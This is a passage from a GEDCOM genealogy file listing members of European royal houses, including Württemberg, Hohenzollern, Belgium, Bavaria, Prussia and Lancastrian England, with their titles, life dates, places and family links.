+2 DATE        1887
+1 FAMC @F407@
+0 @I1077@ INDI
+1 NAME Sophie  /Wurttemberg/
+1 SEX F
+1 BIRT
+2 DATE 17 JUN 1818
+2 PLAC Stuttgart
+1 DEAT
+2 DATE  3 JUN 1877
+2 PLAC Het Loo,Apeldoorn
+1 FAMS @F447@
+1 FAMC @F407@
+0 @I1078@ INDI
+1 NAME Pauline of_Wurttemberg //
+1 SEX F
+1 BIRT
+2 DATE        1800
+1 DEAT
+2 DATE        1873
+1 FAMS @F408@
+0 @I1079@ INDI
+1 NAME Catherine  /Wurttemberg/
+1 SEX F
+1 BIRT
+2 DATE        1821
+1 DEAT
+2 DATE        1898
+1 FAMS @F412@
+1 FAMC @F408@
+0 @I1080@ INDI
+1 NAME Charles_I of_Wurttemberg /Wurttemberg/
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE        1823
+1 DEAT
+2 DATE        1891
+1 FAMS @F409@
+1 FAMC @F408@
+0 @I1081@ INDI
+1 NAME Augusta  /Wurttemberg/
+1 SEX F
+1 BIRT
+2 DATE        1826
+1 DEAT
+2 DATE        1898
+1 FAMS @F410@
+1 FAMC @F408@
+0 @I1082@ INDI
+1 NAME Olga of_Russia //
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1822
+1 DEAT
+2 DATE        1892
+1 FAMS @F409@
+0 @I1083@ INDI
+1 NAME Hermann of_Saxe-Weimar //
+1 TITL Prince
+1 SEX M
+1 FAMS @F410@
+0 @I1084@ INDI
+1 NAME Charlotte of_Saxe- Hildburghausen//
+1 SEX F
+1 BIRT
+2 DATE        1787
+1 DEAT
+2 DATE        1847
+1 FAMS @F411@
+0 @I1085@ INDI
+1 NAME Charlotte  /Wurttemberg/
+1 SEX F
+1 BIRT
+2 DATE        1807
+1 DEAT
+2 DATE        1873
+1 FAMC @F411@
+0 @I1086@ INDI
+1 NAME Frederick  /Wurttemberg/
+1 SEX M
+1 BIRT
+2 DATE        1808
+1 DEAT
+2 DATE        1870
+1 FAMS @F412@
+1 FAMC @F411@
+0 @I1087@ INDI
+1 NAME Paul  /Wurttemberg/
+1 SEX M
+1 BIRT
+2 DATE        1809
+1 DEAT
+2 DATE        1810
+1 FAMC @F411@
+0 @I1088@ INDI
+1 NAME Pauline  /Wurttemberg/
+1 SEX F
+1 BIRT
+2 DATE        1810
+1 DEAT
+2 DATE        1856
+1 FAMC @F411@
+0 @I1089@ INDI
+1 NAME August  /Wurttemberg/
+1 SEX M
+1 BIRT
+2 DATE        1813
+1 DEAT
+2 DATE        1885
+1 FAMC @F411@
+0 @I1090@ INDI
+1 NAME William_II of_Wurttemberg /Wurttemberg/
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE        1848
+1 DEAT
+2 DATE        1921
+1 FAMS @F413@
+1 FAMS @F415@
+1 FAMC @F412@
+0 @I1091@ INDI
+1 NAME Marie of_Waldeck and_Pyrmont//
+1 SEX F
+1 BIRT
+2 DATE        1857
+1 DEAT
+2 DATE        1882
+1 FAMS @F413@
+0 @I1092@ INDI
+1 NAME Pauline  /Wurttemberg/
+1 SEX F
+1 BIRT
+2 DATE        1877
+1 DEAT
+2 DATE        1965
+1 FAMS @F414@
+1 FAMC @F413@
+0 @I1093@ INDI
+1 NAME Ulrich  /Wurttemberg/
+1 SEX M
+1 BIRT
+2 DATE        1880
+1 DEAT
+2 DATE        1880
+1 FAMC @F413@
+0 @I1094@ INDI
+1 NAME Frederick  //
+1 TITL Prince of Wied
+1 SEX M
+1 FAMS @F414@
+0 @I1095@ INDI
+1 NAME Charlotte of_Schaumburg- Lippe//
+1 SEX F
+1 BIRT
+2 DATE        1864
+1 DEAT
+2 DATE        1946
+1 FAMS @F415@
+0 @I1096@ INDI
+1 NAME Nicholas  /Hohenzollern/
+1 SEX M
+1 BIRT
+2 DATE        1903
+1 DEAT
+2 DATE        1978
+1 FAMC @F100@
+0 @I1097@ INDI
+1 NAME Ileana  /Hohenzollern/
+1 SEX F
+1 BIRT
+2 DATE        1909
+1 FAMC @F100@
+0 @I1098@ INDI
+1 NAME Mircea  /Hohenzollern/
+1 BIRT
+2 DATE        1913
+1 DEAT
+2 DATE  2 NOV 1916
+1 BURI
+2 PLAC Cotroceni Palace,Bucharest,Romania
+1 FAMC @F100@
+0 @I1099@ INDI
+1 NAME Leopold of_Hohenzollern /Hohenzollern/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1835
+1 DEAT
+2 DATE        1905
+1 FAMS @F416@
+1 FAMC @F418@
+0 @I1100@ INDI
+1 NAME Antonia of_Portugal //
+1 SEX F
+1 BIRT
+2 DATE        1845
+1 DEAT
+2 DATE        1913
+1 FAMS @F416@
+0 @I1101@ INDI
+1 NAME William of_Hohenzollern /Hohenzollern/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1864
+1 DEAT
+2 DATE        1927
+1 FAMC @F416@
+0 @I1102@ INDI
+1 NAME Charles Anthony /Hohenzollern/
+1 SEX M
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1919
+1 FAMS @F417@
+1 FAMC @F416@
+0 @I1103@ INDI
+1 NAME Josephine of_Belgium //
+1 SEX F
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1958
+1 FAMS @F417@
+1 FAMC @F422@
+0 @I1104@ INDI
+1 NAME Charles Anthony /Hohenzollern/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1811
+1 DEAT
+2 DATE        1885
+1 FAMS @F418@
+0 @I1105@ INDI
+1 NAME Josephine of_Baden //
+1 SEX F
+1 BIRT
+2 DATE        1813
+1 DEAT
+2 DATE        1900
+1 FAMS @F418@
+0 @I1106@ INDI
+1 NAME Stephanie  /Hohenzollern/
+1 SEX F
+1 BIRT
+2 DATE        1837
+1 DEAT
+2 DATE        1859
+1 FAMS @F419@
+1 FAMC @F418@
+0 @I1107@ INDI
+1 NAME Carol_I of_Romania /Hohenzollern/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 20 APR 1839
+2 PLAC Sigmaringen,Germany
+1 DEAT
+2 DATE 10 OCT 1914
+2 PLAC Castle Pelesch,Sinaia,Romania
+1 FAMS @F420@
+1 FAMC @F418@
+0 @I1108@ INDI
+1 NAME Anthony  /Hohenzollern/
+1 SEX M
+1 BIRT
+2 DATE        1841
+1 DEAT
+2 DATE        1866
+1 FAMC @F418@
+0 @I1109@ INDI
+1 NAME Frederick  /Hohenzollern/
+1 SEX M
+1 BIRT
+2 DATE        1843
+1 DEAT
+2 DATE        1904
+1 FAMS @F421@
+1 FAMC @F418@
+0 @I1110@ INDI
+1 NAME Marie  /Hohenzollern/
+1 SEX F
+1 BIRT
+2 DATE        1845
+1 DEAT
+2 DATE        1912
+1 FAMS @F422@
+1 FAMC @F418@
+0 @I1111@ INDI
+1 NAME Pedro_V  //
+1 TITL King of Portugal
+1 SEX M
+1 FAMS @F419@
+0 @I1112@ INDI
+1 NAME Elisabeth of_Wied //
+1 SEX F
+1 BIRT
+2 DATE 29 DEC 1843
+2 PLAC Neuwied,Germany
+1 DEAT
+2 DATE  3 MAR 1916
+2 PLAC Curtea de Arges,Romania
+1 FAMS @F420@
+0 @I1113@ INDI
+1 NAME Louise of_Thurn and_Taxis//
+1 SEX F
+1 FAMS @F421@
+0 @I1114@ INDI
+1 NAME Philip of_Flanders //
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1837
+1 DEAT
+2 DATE        1905
+1 FAMS @F422@
+1 FAMC @F663@
+0 @I1115@ INDI
+1 NAME Baudouin  //
+1 SEX M
+1 BIRT
+2 DATE        1869
+1 DEAT
+2 DATE        1891
+1 FAMC @F422@
+0 @I1116@ INDI
+1 NAME Henriette (twin) //
+1 SEX F
+1 BIRT
+2 DATE        1870
+1 DEAT
+2 DATE        1948
+1 FAMS @F1362@
+1 FAMC @F422@
+0 @I1117@ INDI
+1 NAME Josephine (twin) //
+1 SEX F
+1 BIRT
+2 DATE        1870
+1 DEAT
+2 DATE        1871
+1 FAMC @F422@
+0 @I1118@ INDI
+1 NAME Albert_I  //
+1 TITL King of Belgians
+1 SEX M
+1 BIRT
+2 DATE  8 APR 1875
+2 PLAC Brussels,Belgium
+1 DEAT
+2 DATE 17 FEB 1934
+2 PLAC Marche-les-Dames,Near Namur
+1 FAMS @F423@
+1 FAMC @F422@
+0 @I1119@ INDI
+1 NAME Elisabeth of_Bavaria //
+1 SEX F
+1 BIRT
+2 DATE 25 JUL 1876
+2 PLAC Possenhofen
+1 DEAT
+2 DATE 23 NOV 1965
+2 PLAC Chateau de,Stuyvenberg
+1 BURI
+2 PLAC Laeken
+1 FAMS @F423@
+1 FAMC @F441@
+0 @I1120@ INDI
+1 NAME Charles of_Belgium //
+1 TITL Regent
+1 SEX M
+1 BIRT
+2 DATE        1903
+1 DEAT
+2 DATE        1983
+1 FAMC @F423@
+0 @I1121@ INDI
+1 NAME Marie Jose //
+1 SEX F
+1 BIRT
+2 DATE        1906
+1 FAMS @F424@
+1 FAMC @F423@
+0 @I1122@ INDI
+1 NAME Umberto_II  //
+1 TITL King of Italy
+1 SEX M
+1 BIRT
+2 DATE        1904
+1 DEAT
+2 DATE        1983
+1 FAMS @F424@
+0 @I1123@ INDI
+1 NAME Josephine Charlotte //
+1 SEX F
+1 BIRT
+2 DATE        1927
+1 FAMS @F425@
+1 FAMC @F216@
+0 @I1124@ INDI
+1 NAME Albert  //
+1 TITL Prince of Liege
+1 SEX M
+1 BIRT
+2 DATE        1934
+1 FAMS @F427@
+1 FAMC @F216@
+0 @I1125@ INDI
+1 NAME Jean of_Luxembourg //
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1921
+1 FAMS @F425@
+0 @I1126@ INDI
+1 NAME Fabiola de_Mora_y_Aragon //
+1 SEX F
+1 BIRT
+2 DATE 11 JUN 1928
+2 PLAC Madrid,Spain
+1 FAMS @F426@
+0 @I1127@ INDI
+1 NAME Paola di_Calabria /Ruffo/
+1 SEX F
+1 BIRT
+2 DATE        1937
+1 FAMS @F427@
+0 @I1128@ INDI
+1 NAME Philippe  //
+1 SEX M
+1 BIRT
+2 DATE        1960
+1 FAMC @F427@
+0 @I1129@ INDI
+1 NAME Astrid  //
+1 SEX F
+1 BIRT
+2 DATE        1962
+1 FAMS @F428@
+1 FAMC @F427@
+0 @I1130@ INDI
+1 NAME Laurent  //
+1 SEX M
+1 BIRT
+2 DATE        1963
+1 FAMC @F427@
+0 @I1131@ INDI
+1 NAME Lorenz of_Austria-Este //
+1 TITL Archduke
+1 SEX M
+1 BIRT
+2 DATE        1955
+1 FAMS @F428@
+0 @I1132@ INDI
+1 NAME Mary Liliane /Baels/
+1 SEX F
+1 BIRT
+2 DATE 28 NOV 1916
+2 PLAC Highbury,London,England
+1 FAMS @F429@
+0 @I1133@ INDI
+1 NAME Alexandre  //
+1 SEX M
+1 BIRT
+2 DATE        1942
+1 FAMC @F429@
+0 @I1134@ INDI
+1 NAME Marie Christine //
+1 SEX F
+1 BIRT
+2 DATE        1951
+1 FAMS @F430@
+1 FAMC @F429@
+0 @I1135@ INDI
+1 NAME Marie Esmeralda //
+1 SEX F
+1 BIRT
+2 DATE        1956
+1 FAMC @F429@
+0 @I1136@ INDI
+1 NAME Paul  /Druker/
+1 SEX M
+1 FAMS @F430@
+0 @I1137@ INDI
+1 NAME Augusta Wilhelmine of_Hesse-//
+1 SEX F
+1 BIRT
+2 DATE 14 APR 1765
+2 PLAC Darmstadt
+1 DEAT
+2 DATE 30 MAR 1796
+2 PLAC Near,Heidelberg,Germany
+1 FAMS @F431@
+0 @I1138@ INDI
+1 NAME Ludwig_I  /Wittelsbach/
+1 TITL King of Bavaria
+1 SEX M
+1 BIRT
+2 DATE 25 AUG 1786
+2 PLAC Strassburg
+1 DEAT
+2 DATE 29 FEB 1868
+2 PLAC Nice
+1 BURI
+2 PLAC St. Boniface,Church,Munich
+1 FAMS @F432@
+1 FAMC @F431@
+0 @I1139@ INDI
+1 NAME Auguste  /Wittelsbach/
+1 SEX F
+1 BIRT
+2 DATE        1788
+1 DEAT
+2 DATE        1851
+1 FAMC @F431@
+0 @I1140@ INDI
+1 NAME Amelia  /Wittelsbach/
+1 SEX F
+1 BIRT
+2 DATE        1790
+1 DEAT
+2 DATE        1794
+1 FAMC @F431@
+0 @I1141@ INDI
+1 NAME Charles  /Wittelsbach/
+1 SEX M
+1 BIRT
+2 DATE        1795
+1 DEAT
+2 DATE        1875
+1 FAMC @F431@
+0 @I1142@ INDI
+1 NAME Therese of_Saxe- Hildburghausen//
+1 SEX F
+1 BIRT
+2 DATE  8 JUL 1792
+2 PLAC Hildburghausen
+1 DEAT
+2 DATE 26 OCT 1854
+2 PLAC Munich
+1 BURI
+2 PLAC St. Boniface,Church,Munich
+1 FAMS @F432@
+0 @I1143@ INDI
+1 NAME Maximilian_II  //
+1 TITL King of Bavaria
+1 SEX M
+1 BIRT
+2 DATE 28 NOV 1811
+2 PLAC Munich
+1 DEAT
+2 DATE 10 MAR 1864
+2 PLAC Munich
+1 BURI
+2 PLAC Theatinerkirche
+1 FAMS @F433@
+1 FAMC @F432@
+0 @I1144@ INDI
+1 NAME Marie of_Prussia //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 15 OCT 1825
+2 PLAC Berlin
+1 DEAT
+2 DATE 17 MAY 1889
+2 PLAC Schloss,Hohenschwangau
+1 BURI
+2 PLAC Theatinerkirche
+1 FAMS @F433@
+0 @I1145@ INDI
+1 NAME Ludwig_II  /Wittelsbach/
+1 TITL King of Bavaria
+1 SEX M
+1 BIRT
+2 DATE 25 AUG 1845
+2 PLAC Schloss,Nymphenburg
+1 DEAT
+2 DATE 13 JUN 1886
+2 PLAC Starnbergersee,Near Schloss,Berg
+1 BURI
+2 PLAC St. Michaels,Church,Munich
+1 FAMC @F433@
+0 @I1146@ INDI
+1 NAME Otto_I  /Wittelsbach/
+1 TITL King of Bavaria
+1 SEX M
+1 BIRT
+2 DATE 27 APR 1848
+2 PLAC Munich
+1 DEAT
+2 DATE 11 OCT 1916
+2 PLAC Near,Munich
+1 BURI
+2 PLAC St. Michaels,Church,Munich
+1 FAMC @F433@
+0 @I1147@ INDI
+1 NAME 5sons_1dau  //
+1 FAMC @F598@
+0 @I1148@ INDI
+1 NAME Otto_I Friedrich Ludwig/Wittelsbach/
+1 TITL King of Greece
+1 SEX M
+1 BIRT
+2 DATE  1 JUN 1815
+2 PLAC Salzburg,Austria
+1 DEAT
+2 DATE 26 JUL 1867
+2 PLAC Bamberg,Germany
+1 BURI
+2 PLAC Theatinerkirche,Munich,Germany
+1 FAMS @F662@
+1 FAMC @F432@
+0 @I1149@ INDI
+1 NAME Theodolinde  //
+1 BIRT
+2 DATE        1816
+1 DEAT
+2 DATE        1817
+1 FAMC @F432@
+0 @I1150@ INDI
+1 NAME Luitpold  //
+1 TITL Regent
+1 SEX M
+1 BIRT
+2 DATE        1821
+1 DEAT
+2 DATE        1912
+1 FAMS @F438@
+1 FAMC @F432@
+0 @I1151@ INDI
+1 NAME Adelgunde  //
+1 SEX F
+1 BIRT
+2 DATE        1823
+1 DEAT
+2 DATE        1914
+1 FAMC @F432@
+0 @I1152@ INDI
+1 NAME Hildegarde  //
+1 SEX F
+1 BIRT
+2 DATE        1825
+1 DEAT
+2 DATE        1864
+1 FAMC @F432@
+0 @I1153@ INDI
+1 NAME Adalbert  //
+1 SEX M
+1 BIRT
+2 DATE        1828
+1 DEAT
+2 DATE        1875
+1 FAMC @F432@
+0 @I1154@ INDI
+1 NAME Maximilian  /Wittelsbach/
+1 SEX M
+1 BIRT
+2 DATE        1800
+1 DEAT
+2 DATE        1803
+1 FAMC @F232@
+0 @I1155@ INDI
+1 NAME Elizabeth (twin) of_Bavaria/Wittelsbach/
+1 SEX F
+1 BIRT
+2 DATE        1801
+1 DEAT
+2 DATE        1873
+1 FAMS @F434@
+1 FAMC @F232@
+0 @I1156@ INDI
+1 NAME Amelia (twin) /Wittelsbach/
+1 SEX F
+1 BIRT
+2 DATE        1801
+1 DEAT
+2 DATE        1877
+1 FAMC @F232@
+0 @I1157@ INDI
+1 NAME Maria (twin) /Wittelsbach/
+1 SEX F
+1 BIRT
+2 DATE        1805
+1 DEAT
+2 DATE        1877
+1 FAMC @F232@
+0 @I1158@ INDI
+1 NAME Ludovica (Louise) /Wittelsbach/
+1 SEX F
+1 BIRT
+2 DATE        1808
+1 DEAT
+2 DATE        1892
+1 FAMS @F440@
+1 FAMC @F232@
+0 @I1159@ INDI
+1 NAME Maximiliana  /Wittelsbach/
+1 SEX F
+1 BIRT
+2 DATE        1810
+1 DEAT
+2 DATE        1821
+1 FAMC @F232@
+0 @I1160@ INDI
+1 NAME Frederick Louis //
+1 SEX M
+1 BIRT
+2 DATE        1707
+1 DEAT
+2 DATE        1708
+1 FAMC @F435@
+0 @I1161@ INDI
+1 NAME Frederick William //
+1 SEX M
+1 BIRT
+2 DATE        1710
+1 DEAT
+2 DATE        1711
+1 FAMC @F435@
+0 @I1162@ INDI
+1 NAME Frederick_II the_Great //
+1 TITL King of Prussia
+1 SEX M
+1 BIRT
+2 DATE 24 JAN 1712
+2 PLAC Berlin,Germany
+1 DEAT
+2 DATE 17 AUG 1786
+2 PLAC Sans Souci,Potsdam,Germany
+1 FAMS @F623@
+1 FAMC @F435@
+0 @I1163@ INDI
+1 NAME Charlotte Albertine //
+1 SEX F
+1 BIRT
+2 DATE        1713
+1 DEAT
+2 DATE        1714
+1 FAMC @F435@
+0 @I1164@ INDI
+1 NAME Frederica Louise //
+1 SEX F
+1 BIRT
+2 DATE        1714
+1 DEAT
+2 DATE        1784
+1 FAMC @F435@
+0 @I1165@ INDI
+1 NAME Philippine Charlotte //
+1 SEX F
+1 BIRT
+2 DATE        1716
+1 DEAT
+2 DATE        1801
+1 FAMC @F435@
+0 @I1166@ INDI
+1 NAME Louis Charles William//
+1 SEX M
+1 BIRT
+2 DATE        1717
+1 DEAT
+2 DATE        1719
+1 FAMC @F435@
+0 @I1167@ INDI
+1 NAME Sophia  //
+1 SEX F
+1 BIRT
+2 DATE        1719
+1 DEAT
+2 DATE        1765
+1 FAMC @F435@
+0 @I1168@ INDI
+1 NAME Louise Ulrika //
+1 SEX F
+1 BIRT
+2 DATE        1720
+1 DEAT
+2 DATE        1782
+1 FAMC @F435@
+0 @I1169@ INDI
+1 NAME Anna Amelia //
+1 SEX F
+1 BIRT
+2 DATE        1725
+1 DEAT
+2 DATE        1787
+1 FAMC @F435@
+0 @I1170@ INDI
+1 NAME Henry  //
+1 SEX M
+1 BIRT
+2 DATE        1726
+1 DEAT
+2 DATE        1802
+1 FAMC @F435@
+0 @I1171@ INDI
+1 NAME Ferdinand  //
+1 SEX M
+1 BIRT
+2 DATE        1730
+1 DEAT
+2 DATE        1813
+1 FAMC @F435@
+0 @I1172@ INDI
+1 NAME Heinrich_XXII  /Reuss/
+1 TITL Prince
+1 SEX M
+1 FAMS @F278@
+0 @I1173@ INDI
+1 NAME Elizabeth Henrietta of_Hesse-Cassel//
+1 SEX F
+1 BIRT
+2 DATE  8 NOV 1661
+2 PLAC Cassel
+1 DEAT
+2 DATE 27 JUN 1683
+2 PLAC Coln au Der,Spree
+1 FAMS @F436@
+0 @I1174@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE        1680
+1 DEAT
+2 DATE        1705
+1 FAMC @F436@
+0 @I1175@ INDI
+1 NAME Frederick_I  //
+1 TITL King of Sweden
+1 SEX M
+1 FAMC @F436@
+0 @I1176@ INDI
+1 NAME Sophia Louise of_Mecklenburg-//
+1 SEX F
+1 BIRT
+2 DATE 16 MAY 1685
+1 DEAT
+2 DATE 29 JUL 1735
+2 PLAC Grabow
+1 FAMS @F437@
+0 @I1177@ INDI
+1 NAME Frederick Augustus //
+1 SEX M
+1 BIRT
+2 DATE        1685
+1 DEAT
+2 DATE        1686
+1 FAMC @F267@
+0 @I1178@ INDI
+1 NAME Son (stillborn) //
+1 SEX M
+1 FAMC @F267@
+0 @I1179@ INDI
+1 NAME Augusta of_Austria- Tuscany//
+1 TITL Archduchess
+1 SEX F
+1 BIRT
+2 DATE        1825
+1 DEAT
+2 DATE        1864
+1 FAMS @F438@
+0 @I1180@ INDI
+1 NAME Leopold  //
+1 SEX M
+1 BIRT
+2 DATE        1846
+1 DEAT
+2 DATE        1930
+1 FAMC @F438@
+0 @I1181@ INDI
+1 NAME Therese  //
+1 SEX F
+1 BIRT
+2 DATE        1850
+1 DEAT
+2 DATE        1925
+1 FAMC @F438@
+0 @I1182@ INDI
+1 NAME Amulf  //
+1 SEX M
+1 BIRT
+2 DATE        1852
+1 DEAT
+2 DATE        1907
+1 FAMC @F438@
+0 @I1183@ INDI
+1 NAME Luitpold  //
+1 SEX M
+1 BIRT
+2 DATE        1901
+1 DEAT
+2 DATE        1914
+1 FAMC @F258@
+0 @I1184@ INDI
+1 NAME Irmingard  //
+1 SEX F
+1 BIRT
+2 DATE        1902
+1 DEAT
+2 DATE        1903
+1 FAMC @F258@
+0 @I1185@ INDI
+1 NAME Rudolf  //
+1 SEX M
+1 BIRT
+2 DATE        1909
+1 DEAT
+2 DATE        1912
+1 FAMC @F258@
+0 @I1186@ INDI
+1 NAME Antoinette of_Luxembourg //
+1 SEX F
+1 BIRT
+2 DATE        1899
+1 DEAT
+2 DATE        1954
+1 FAMS @F439@
+0 @I1187@ INDI
+1 NAME Henry  //
+1 SEX M
+1 BIRT
+2 DATE        1922
+1 DEAT
+2 DATE        1958
+1 FAMC @F439@
+0 @I1188@ INDI
+1 NAME Irmingard  //
+1 SEX F
+1 BIRT
+2 DATE        1923
+1 FAMC @F439@
+0 @I1189@ INDI
+1 NAME Editha  //
+1 SEX F
+1 BIRT
+2 DATE        1924
+1 FAMC @F439@
+0 @I1190@ INDI
+1 NAME Hilda  //
+1 SEX F
+1 BIRT
+2 DATE        1926
+1 FAMC @F439@
+0 @I1191@ INDI
+1 NAME Gabriele  //
+1 SEX F
+1 BIRT
+2 DATE        1927
+1 FAMC @F439@
+0 @I1192@ INDI
+1 NAME Sophie  //
+1 SEX F
+1 BIRT
+2 DATE        1935
+1 FAMC @F439@
+0 @I1193@ INDI
+1 NAME Maximilian Joseph //
+1 TITL Duke of Bavaria
+1 SEX M
+1 FAMS @F440@
+0 @I1194@ INDI
+1 NAME Ludwig  //
+1 SEX M
+1 BIRT
+2 DATE        1831
+1 DEAT
+2 DATE        1920
+1 FAMC @F440@
+0 @I1195@ INDI
+1 NAME Helene  //
+1 SEX F
+1 BIRT
+2 DATE        1834
+1 DEAT
+2 DATE        1858
+1 FAMC @F440@
+0 @I1196@ INDI
+1 NAME Elizabeth  //
+1 TITL Empress
+1 SEX F
+1 BIRT
+2 DATE        1837
+1 DEAT
+2 DATE        1898
+1 FAMS @F532@
+1 FAMC @F440@
+0 @I1197@ INDI
+1 NAME Karl Theodor "Gackl"//
+1 SEX M
+1 BIRT
+2 DATE        1839
+1 DEAT
+2 DATE        1909
+1 FAMS @F441@
+1 FAMC @F440@
+0 @I1198@ INDI
+1 NAME Maria  //
+1 SEX F
+1 BIRT
+2 DATE        1841
+1 DEAT
+2 DATE        1925
+1 FAMC @F440@
+0 @I1199@ INDI
+1 NAME Mathilde  //
+1 SEX F
+1 BIRT
+2 DATE        1843
+1 DEAT
+2 DATE        1925
+1 FAMC @F440@
+0 @I1200@ INDI
+1 NAME Sophie  //
+1 SEX F
+1 BIRT
+2 DATE        1847
+1 DEAT
+2 DATE        1897
+1 FAMS @F533@
+1 FAMC @F440@
+0 @I1201@ INDI
+1 NAME Maximilian  //
+1 SEX M
+1 BIRT
+2 DATE        1849
+1 DEAT
+2 DATE        1893
+1 FAMC @F440@
+0 @I1202@ INDI
+1 NAME Maria Josepha of_Portugal//
+1 SEX F
+1 BIRT
+2 DATE        1857
+1 DEAT
+2 DATE        1943
+1 FAMS @F441@
+1 FAMC @F1361@
+0 @I1203@ INDI
+1 NAME Alexander  /Zoubkoff/
+1 SEX M
+1 FAMS @F442@
+0 @I1204@ INDI
+1 NAME Irene  //
+1 SEX F
+1 BIRT
+2 DATE        1939
+1 FAMS @F657@
+1 FAMC @F243@
+0 @I1205@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 BIRT
+2 DATE        1943
+1 FAMS @F658@
+1 FAMC @F243@
+0 @I1206@ INDI
+1 NAME Mary Christina //
+1 SEX F
+1 BIRT
+2 DATE        1947
+1 FAMS @F659@
+1 FAMC @F243@
+0 @I1207@ INDI
+1 NAME Claus  /von_Amsberg/
+1 SEX M
+1 BIRT
+2 DATE  6 SEP 1926
+2 PLAC Dotzingen
+1 FAMS @F443@
+1 FAMC @F444@
+0 @I1208@ INDI
+1 NAME William Alexander //
+1 TITL Prince of Orange
+1 SEX M
+1 BIRT
+2 DATE        1967
+1 FAMC @F443@
+0 @I1209@ INDI
+1 NAME John Friso //
+1 SEX M
+1 BIRT
+2 DATE        1968
+1 FAMC @F443@
+0 @I1210@ INDI
+1 NAME Constantine  //
+1 SEX M
+1 BIRT
+2 DATE        1969
+1 FAMC @F443@
+0 @I1211@ INDI
+1 NAME Claus  /von_Amsberg/
+1 SEX M
+1 FAMS @F444@
+0 @I1212@ INDI
+1 NAME Gosta  /von_dem_Bussche-/
+1 TITL Baroness
+1 SEX F
+1 FAMS @F444@
+0 @I1213@ INDI
+1 NAME Frederick Francis_II of_Mecklenburg-//
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1823
+1 DEAT
+2 DATE        1883
+1 FAMS @F445@
+1 FAMC @F183@
+0 @I1214@ INDI
+1 NAME Marie of_Schwarzburg- Rudolstadt//
+1 SEX F
+1 FAMS @F445@
+1 FAMC @F1256@
+0 @I1215@ INDI
+1 NAME Antoine de_Bourbon of_France//
+1 SEX M
+1 FAMS @F446@
+0 @I1216@ INDI
+1 NAME Helene of_Nassau Henrietta//
+1 SEX F
+1 BIRT
+2 DATE        1831
+1 DEAT
+2 DATE        1888
+1 FAMS @F67@
+0 @I1217@ INDI
+1 NAME Henry_VI  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  6 DEC 1421
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE 21 MAY 1471
+2 PLAC Tower of London,London,England
+1 BURI
+2 PLAC St. George Chap.,Windsor,Berkshire,England
+1 FAMS @F448@
+1 FAMC @F449@
+0 @I1218@ INDI
+1 NAME Margaret of_Anjou //
+1 SEX F
+1 BIRT
+2 DATE 23 MAR 1429
+2 PLAC Pont-a-Mousson,Lorraine
+1 DEAT
+2 DATE 25 AUG 1482
+2 PLAC Chateau de,Dampiere,Near Saumur
+1 BURI
+2 PLAC Angers,Cathedral
+1 FAMS @F448@
+1 FAMC @F1052@
+0 @I1219@ INDI
+1 NAME Henry_V  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  9 AUG 1387
+2 PLAC Monmouth
+1 DEAT
+2 DATE 31 AUG 1422
+2 PLAC Bois de,Vincennes
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F449@
+1 FAMC @F450@
+0 @I1220@ INDI
+1 NAME Catherine of_Valois //
+1 SEX F
+1 BIRT
+2 DATE 27 OCT 1401
+2 PLAC Paris
+1 DEAT
+2 DATE  3 JAN 1437
+2 PLAC Bermondsey,Abbey
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F449@
+1 FAMS @F497@
+1 FAMC @F915@
+0 @I1221@ INDI
+1 NAME Henry_IV  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  4 APR 1366
+2 PLAC Bolingbrooke,Castle
+1 DEAT
+2 DATE 20 MAR 1413
+2 PLAC London,England
+1 BURI
+2 PLAC Canterbury,Cathedral,England
+1 FAMS @F450@
+1 FAMS @F620@
+1 FAMC @F452@
+0 @I1222@ INDI
+1 NAME Mary  /De_Bohun/
+1 SEX F
+1 DEAT
+2 DATE  4 JUL 1394
+2 PLAC Peterborough,Castle
+1 FAMS @F450@
+1 FAMC @F914@
+0 @I1223@ INDI
+1 NAME Son  //
+1 SEX M
+1 BIRT
+2 DATE    APR 1382
+1 DEAT
+2 DATE ABT    1382
+1 FAMC @F450@
+0 @I1224@ INDI
+1 NAME Thomas  //
+1 TITL Duke of Clarence
+1 SEX M
+1 BIRT
+2 DATE        1388
+2 PLAC Kenilworth
+1 DEAT
+2 DATE 22 MAR 1421
+2 PLAC Beauge
+1 FAMS @F613@
+1 FAMC @F450@
+0 @I1225@ INDI
+1 NAME John  //
+1 TITL Duke of Bedford
+1 SEX M
+1 BIRT
+2 DATE 20 JUN 1389
+1 DEAT
+2 DATE 15 SEP 1435
+2 PLAC Rouen
+1 FAMS @F614@
+1 FAMS @F484@
+1 FAMC @F450@
+0 @I1226@ INDI
+1 NAME Humphrey of_Gloucester //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE    SEP 1390
+1 DEAT
+2 DATE 23 FEB 1447
+2 PLAC Bury St. Edmunds
+1 FAMS @F615@
+1 FAMS @F616@
+1 FAMC @F450@
+0 @I1227@ INDI
+1 NAME Blanche  //
+1 SEX F
+1 BIRT
+2 DATE        1392
+2 PLAC Peterborough,Castle
+1 DEAT
+2 DATE 21 MAY 1409
+2 PLAC Germany
+1 FAMS @F617@
+1 FAMC @F450@
+0 @I1228@ INDI
+1 NAME Philippa  //
+1 SEX F
+1 BIRT
+2 DATE  4 JUL 1394
+2 PLAC Peterborough,Castle
+1 DEAT
+2 DATE  5 JAN 1430
+2 PLAC Convent,of Vadstena
+1 FAMS @F618@
+1 FAMC @F450@
+0 @I1229@ INDI
+1 NAME Edward_III  //
+1 TITL King of England
